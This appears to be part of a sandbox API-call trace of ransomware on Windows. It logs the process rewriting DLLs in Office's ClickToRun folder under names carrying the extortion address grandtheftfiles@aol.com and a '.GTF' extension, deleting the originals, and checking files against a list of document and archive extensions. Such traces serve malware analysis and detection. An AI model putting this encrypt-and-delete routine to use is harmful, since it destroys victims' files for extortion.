	[0085.818] ReadFile (in: hFile=0x358, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x52c0, lpOverlapped=0x0) returned 1
	[0085.820] WriteFile (in: hFile=0x360, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x52d0, lpOverlapped=0x0) returned 1
	[0085.821] ReadFile (in: hFile=0x358, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.821] WriteFile (in: hFile=0x360, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x110, lpOverlapped=0x0) returned 1
	[0085.821] SetEndOfFile (hFile=0x360) returned 1
	[0085.821] CloseHandle (hObject=0x360) returned 1
	[0085.822] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.822] SetEndOfFile (hFile=0x358) returned 1
	[0085.822] CloseHandle (hObject=0x358) returned 1
	[0085.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0085.823] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 1
	[0085.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.823] lstrlenW (lpString=".doc") returned 4
	[0085.823] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.823] lstrlenW (lpString=".docx") returned 5
	[0085.823] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.823] lstrlenW (lpString=".pdf") returned 4
	[0085.823] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.823] lstrlenW (lpString=".xls") returned 4
	[0085.823] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.823] lstrlenW (lpString=".xlsx") returned 5
	[0085.823] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.823] lstrlenW (lpString=".ppt") returned 4
	[0085.823] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.823] lstrlenW (lpString=".zip") returned 4
	[0085.823] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.823] lstrlenW (lpString=".rar") returned 4
	[0085.823] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.823] lstrlenW (lpString=".bz2") returned 4
	[0085.823] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.823] lstrlenW (lpString=".7z") returned 3
	[0085.823] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.824] lstrlenW (lpString=".dbf") returned 4
	[0085.824] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.824] lstrlenW (lpString=".1cd") returned 4
	[0085.824] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.824] lstrlenW (lpString=".jpg") returned 4
	[0085.824] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.824] lstrlenW (lpString=".doc") returned 4
	[0085.824] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.824] lstrlenW (lpString=".docx") returned 5
	[0085.824] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.824] lstrlenW (lpString=".pdf") returned 4
	[0085.824] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.824] lstrlenW (lpString=".xls") returned 4
	[0085.824] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.824] lstrlenW (lpString=".xlsx") returned 5
	[0085.824] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.824] lstrlenW (lpString=".ppt") returned 4
	[0085.824] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.824] lstrlenW (lpString=".zip") returned 4
	[0085.824] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.824] lstrlenW (lpString=".rar") returned 4
	[0085.824] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.824] lstrlenW (lpString=".bz2") returned 4
	[0085.825] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.825] lstrlenW (lpString=".7z") returned 3
	[0085.825] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.825] lstrlenW (lpString=".dbf") returned 4
	[0085.825] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.825] lstrlenW (lpString=".1cd") returned 4
	[0085.825] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.825] lstrlenW (lpString=".jpg") returned 4
	[0085.825] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.825] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.825] lstrlenW (lpString="api-ms-win-crt-utility-l1-1-0.dll") returned 33
	[0085.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0085.825] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=19136) returned 1
	[0085.825] CloseHandle (hObject=0x358) returned 1
	[0085.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20
	[0085.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0085.826] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.826] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0085.826] GetLastError () returned 0x0
	[0085.826] ReadFile (in: hFile=0x358, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0085.828] WriteFile (in: hFile=0x360, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0085.829] ReadFile (in: hFile=0x358, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.829] WriteFile (in: hFile=0x360, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x116, lpOverlapped=0x0) returned 1
	[0085.829] SetEndOfFile (hFile=0x360) returned 1
	[0085.829] CloseHandle (hObject=0x360) returned 1
	[0085.829] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.829] SetEndOfFile (hFile=0x358) returned 1
	[0085.830] CloseHandle (hObject=0x358) returned 1
	[0085.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0085.830] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1
	[0085.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0085.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0085.831] lstrlenW (lpString=".doc") returned 4
	[0085.831] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.831] lstrlenW (lpString=".docx") returned 5
	[0085.831] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.831] lstrlenW (lpString=".pdf") returned 4
	[0085.831] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.831] lstrlenW (lpString=".xls") returned 4
	[0085.831] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.831] lstrlenW (lpString=".xlsx") returned 5
	[0085.831] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.831] lstrlenW (lpString=".ppt") returned 4
	[0085.831] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0085.831] lstrlenW (lpString=".zip") returned 4
	[0085.831] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.831] lstrlenW (lpString=".rar") returned 4
	[0085.831] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.831] lstrlenW (lpString=".bz2") returned 4
	[0085.831] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.831] lstrlenW (lpString=".7z") returned 3
	[0085.831] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0085.831] lstrlenW (lpString=".dbf") returned 4
	[0085.831] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0085.831] lstrlenW (lpString=".1cd") returned 4
	[0085.831] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0085.831] lstrlenW (lpString=".jpg") returned 4
	[0085.831] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0085.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0085.831] lstrlenW (lpString=".doc") returned 4
	[0085.831] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.831] lstrlenW (lpString=".docx") returned 5
	[0085.831] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.832] lstrlenW (lpString=".pdf") returned 4
	[0085.832] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.832] lstrlenW (lpString=".xls") returned 4
	[0085.832] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.832] lstrlenW (lpString=".xlsx") returned 5
	[0085.832] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.832] lstrlenW (lpString=".ppt") returned 4
	[0085.832] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0085.832] lstrlenW (lpString=".zip") returned 4
	[0085.832] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.832] lstrlenW (lpString=".rar") returned 4
	[0085.832] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.832] lstrlenW (lpString=".bz2") returned 4
	[0085.832] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.832] lstrlenW (lpString=".7z") returned 3
	[0085.832] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0085.832] lstrlenW (lpString=".dbf") returned 4
	[0085.832] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0085.832] lstrlenW (lpString=".1cd") returned 4
	[0085.832] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0085.832] lstrlenW (lpString=".jpg") returned 4
	[0085.832] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.832] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.832] lstrlenW (lpString="ApiClient.dll") returned 13
	[0085.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0085.833] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=162880) returned 1
	[0085.833] CloseHandle (hObject=0x358) returned 1
	[0085.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20
	[0085.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0085.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0085.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0085.833] lstrlenW (lpString=".doc") returned 4
	[0085.833] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.833] lstrlenW (lpString=".docx") returned 5
	[0085.833] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0085.833] lstrlenW (lpString=".pdf") returned 4
	[0085.833] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.833] lstrlenW (lpString=".xls") returned 4
	[0085.833] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.833] lstrlenW (lpString=".xlsx") returned 5
	[0085.833] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0085.833] lstrlenW (lpString=".ppt") returned 4
	[0085.833] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0085.833] lstrlenW (lpString=".zip") returned 4
	[0085.833] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.833] lstrlenW (lpString=".rar") returned 4
	[0085.833] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.833] lstrlenW (lpString=".bz2") returned 4
	[0085.833] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.834] lstrlenW (lpString=".7z") returned 3
	[0085.834] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0085.834] lstrlenW (lpString=".dbf") returned 4
	[0085.834] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0085.834] lstrlenW (lpString=".1cd") returned 4
	[0085.834] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0085.834] lstrlenW (lpString=".jpg") returned 4
	[0085.834] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0085.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0085.834] lstrlenW (lpString=".doc") returned 4
	[0085.834] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.834] lstrlenW (lpString=".docx") returned 5
	[0085.834] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0085.834] lstrlenW (lpString=".pdf") returned 4
	[0085.834] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.834] lstrlenW (lpString=".xls") returned 4
	[0085.834] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.834] lstrlenW (lpString=".xlsx") returned 5
	[0085.834] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0085.834] lstrlenW (lpString=".ppt") returned 4
	[0085.834] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0085.834] lstrlenW (lpString=".zip") returned 4
	[0085.834] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.834] lstrlenW (lpString=".rar") returned 4
	[0085.834] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.834] lstrlenW (lpString=".bz2") returned 4
	[0085.834] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.834] lstrlenW (lpString=".7z") returned 3
	[0085.834] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0085.834] lstrlenW (lpString=".dbf") returned 4
	[0085.835] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0085.835] lstrlenW (lpString=".1cd") returned 4
	[0085.835] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0085.835] lstrlenW (lpString=".jpg") returned 4
	[0085.835] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.835] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.835] lstrlenW (lpString="AppVCatalog.dll") returned 15
	[0085.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0085.835] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=656088) returned 1
	[0085.835] CloseHandle (hObject=0x358) returned 1
	[0085.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20
	[0085.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0085.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0085.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0085.836] lstrlenW (lpString=".doc") returned 4
	[0085.836] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.836] lstrlenW (lpString=".docx") returned 5
	[0085.836] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0085.836] lstrlenW (lpString=".pdf") returned 4
	[0085.836] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.836] lstrlenW (lpString=".xls") returned 4
	[0085.836] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.836] lstrlenW (lpString=".xlsx") returned 5
	[0085.836] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0085.836] lstrlenW (lpString=".ppt") returned 4
	[0085.836] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0085.836] lstrlenW (lpString=".zip") returned 4
	[0085.836] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.836] lstrlenW (lpString=".rar") returned 4
	[0085.836] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.836] lstrlenW (lpString=".bz2") returned 4
	[0085.836] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.836] lstrlenW (lpString=".7z") returned 3
	[0085.836] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0085.836] lstrlenW (lpString=".dbf") returned 4
	[0085.836] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0085.836] lstrlenW (lpString=".1cd") returned 4
	[0085.837] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0085.837] lstrlenW (lpString=".jpg") returned 4
	[0085.837] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0085.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0085.837] lstrlenW (lpString=".doc") returned 4
	[0085.837] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.837] lstrlenW (lpString=".docx") returned 5
	[0085.837] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0085.837] lstrlenW (lpString=".pdf") returned 4
	[0085.837] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.837] lstrlenW (lpString=".xls") returned 4
	[0085.837] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.837] lstrlenW (lpString=".xlsx") returned 5
	[0085.837] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0085.837] lstrlenW (lpString=".ppt") returned 4
	[0085.837] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
